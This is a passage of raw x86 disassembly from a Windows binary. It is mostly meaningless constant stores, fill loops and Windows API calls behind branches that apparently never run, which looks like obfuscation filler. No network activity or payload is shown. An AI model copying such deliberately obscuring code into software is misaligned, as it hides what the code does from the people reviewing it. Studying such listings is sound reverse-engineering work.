mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1c0], edx
mov eax, dword [ebp - 0x10]
cmp edx, eax
setg cl
xor ebx, ebx
cmp ecx, 0xb674
je 0x1003775c
inc ebx
mov eax, ebx
jmp 0x1003775f
xor eax, eax
inc ebx
mov dword [ebp - 0x4c], eax
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x870]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0xc20]
cmp eax, dword [ebp - 0x1bc]
jg 0x10037786
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x48]
xor eax, eax
cmp dword [ebp - 0x2c], eax
je 0x100377f4
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp + eax*4 - 0x1c0]
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x4c], eax
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], 2
push 0
pop eax
jle 0x100376bc
mov dword [ebp - 0x38], 0xb
cmp dword [ebp - 0x38], eax
jl 0x10037849
mov ecx, 0xd7bff020
mov dword [ebp - 0x50], 0xfffffff7
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x70], ecx
mov dword [ebp - 0x6c], ecx
mov dword [ebp - 0x68], ecx
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10037841
push eax
call esi
xor eax, eax
mov ecx, 0xd7bff020
dec dword [ebp - 0x30]
dec dword [ebp - 0x38]
jns 0x1003781b
mov dword [ebp - 0x28], 0x87013dce
mov dword [ebp - 0x50], 0x17059141
mov dword [ebp - 0x24], 0x2456160c
mov dword [ebp - 0x5c], 0x3f0244c
mov dword [ebp - 0x2c], 0x5ebec5ec
mov dword [ebp - 0x30], 0x2305aba9
push 3
mov dword [ebp - 0x10], eax
pop ecx
cmp dword [ebp - 0x10], ecx
jge 0x10037896
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8d8], 0xd7f825e7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003787e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x100378b6
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xda0], 0xffffffff
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1003789e
xor eax, eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x100378d5
push 6
pop ecx
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x560], ecx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x100378c1
xor eax, eax
mov dword [ebp - 0x28], 2
cmp dword [ebp - 0x28], eax
jl 0x1003798e
mov dword [ebp - 0x24], ebx
mov eax, 0x1d594d03
mov dword [ebp - 0xca4], eax
xor edx, edx
mov dword [ebp - 0xca0], eax
mov dword [ebp - 0xc9c], eax
mov dword [ebp - 0xc98], eax
mov dword [ebp - 0x48], 0xfffffffd
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp + eax*4 - 0x8d8]
dec dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [ebp - 0x8d8]
cmp ecx, eax
mov eax, dword [ebp - 0x28]
setne dl
imul eax, edx
xor edx, edx
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x48]
mov ecx, dword [ebp - 0x30]
mov eax, dword [ebp - 0xd98]
cmp ecx, eax
setle dl
mov dword [ebp - 0xc98], edx
cmp edx, dword [ebp - 0x5c]
jge 0x10037959
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x28]
xor edx, edx
mov ecx, dword [ebp + eax*4 - 0x8d8]
mov eax, dword [ebp - 0xd98]
cmp eax, ecx
setl dl
mov dword [ebp - 0x560], edx
mov eax, dword [ebp - 0x28]
cmp dword [ebp + eax*4 - 0x8d8], 0
jne 0x1003798c
dec dword [ebp - 0x28]
jns 0x100378e5
xor eax, eax
mov dword [ebp - 0x20], 0x68206240
mov dword [ebp - 0x50], 0xdde9ab5c
mov dword [ebp - 0x50], 0x85734cb4
mov dword [ebp - 0x50], 0xffffffff
mov dword [ebp - 0x30], 0xffffffff
mov dword [ebp - 0x50], 0xcd953295
mov dword [ebp - 0x50], 0x300ca3c4
mov dword [ebp - 0x50], 8
mov dword [ebp - 0x50], 0xa644184e
mov dword [ebp - 0x50], 0xe1a0e1c2
mov dword [ebp - 0x50], 0xfffffff6
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x50], 0xfffffffa
mov dword [ebp - 0x50], 0xd8d34108
mov dword [ebp - 0x50], 0x1e758769
mov dword [ebp - 0x50], 0xfffffff7
mov dword [ebp - 0x50], 4
mov dword [ebp - 0x50], 0xe3f0e26a
mov dword [ebp - 0x50], 0x69097d9
mov dword [ebp - 0x2c], eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 2
jge 0x10037a34
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x1278], 0x1ce094bf
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 2
jl 0x10037a1b
xor eax, eax
mov dword [ebp - 0x20], 0x13
cmp dword [ebp - 0x20], 0x1d
jle 0x10037a72
push 7
pop ecx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x30], 0xc8b9ba5e
cmp dword [ebp - 0x34], ebx
jge 0x10037a58
cmp dword [ebp - 0x34], eax
je 0x10037a5a
mov eax, ebx
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0x30], eax
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0x1d
push 0
pop eax
jg 0x10037a44
inc dword [ebp - 0x2c]
mov dword [ebp - 0x20], 0x24a8c6a5
mov dword [ebp - 0x20], 0xffffffeb
cmp dword [ebp - 0x20], 0xffffffe6
jle 0x10037ab9
xor eax, eax
mov dword [ebp - 0x2c], eax
inc dword [ebp - 0x2c]
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], 0
je 0x10037ab0
push eax
push eax
push 0xc91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
xor eax, eax
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
jg 0x10037a8b
xor eax, eax
mov byte [ebp - 0x11], al
cmp byte [ebp - 0x11], al
je 0x10037ad6
push eax
push 0x1579
push 0x197e
call dword [sym.imp.GDI32.dll_CreatePen]
xor eax, eax
mov dword [ebp - 0x28], 0xfe01bd97
mov dword [ebp - 0x3c], 0x2ba39464
mov dword [ebp - 0x2c], 0xa23
mov dword [ebp - 0x34], 5
mov dword [ebp - 0x2c], 0x82e77e81
mov dword [ebp - 0x48], 0x71658a6
mov dword [ebp - 0x24], 0xffff
mov dword [ebp - 0x40], 0xfa4a603d
push 4
mov dword [ebp - 0x38], eax
pop ecx
cmp dword [ebp - 0x38], ecx
jge 0x10037b31
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0xff0], 0xfffffff7
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x10037b19
xor eax, eax
push 2
mov dword [ebp - 0x38], eax
pop edx
cmp dword [ebp - 0x38], edx
jge 0x10037b54
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x5bc], 0xffffffff
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x10037b3c
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], edx
jge 0x10037b74
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x9ac], 0x187
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], edx
jl 0x10037b5c
xor eax, eax
mov dword [ebp - 0x38], eax
cmp dword [ebp - 0x38], ecx
jge 0x10037b94
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x12a0], 0
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x10037b7c
xor eax, eax
push 3
mov dword [ebp - 0x38], eax
pop ecx
cmp dword [ebp - 0x38], ecx
jge 0x10037bb3
mov eax, dword [ebp - 0x38]
mov dword [ebp + eax*4 - 0x1144], edx
inc dword [ebp - 0x38]
cmp dword [ebp - 0x38], ecx
jl 0x10037b9f
mov dword [ebp - 0x3c], ecx
cmp dword [ebp - 0x3c], eax
jl 0x10037ccb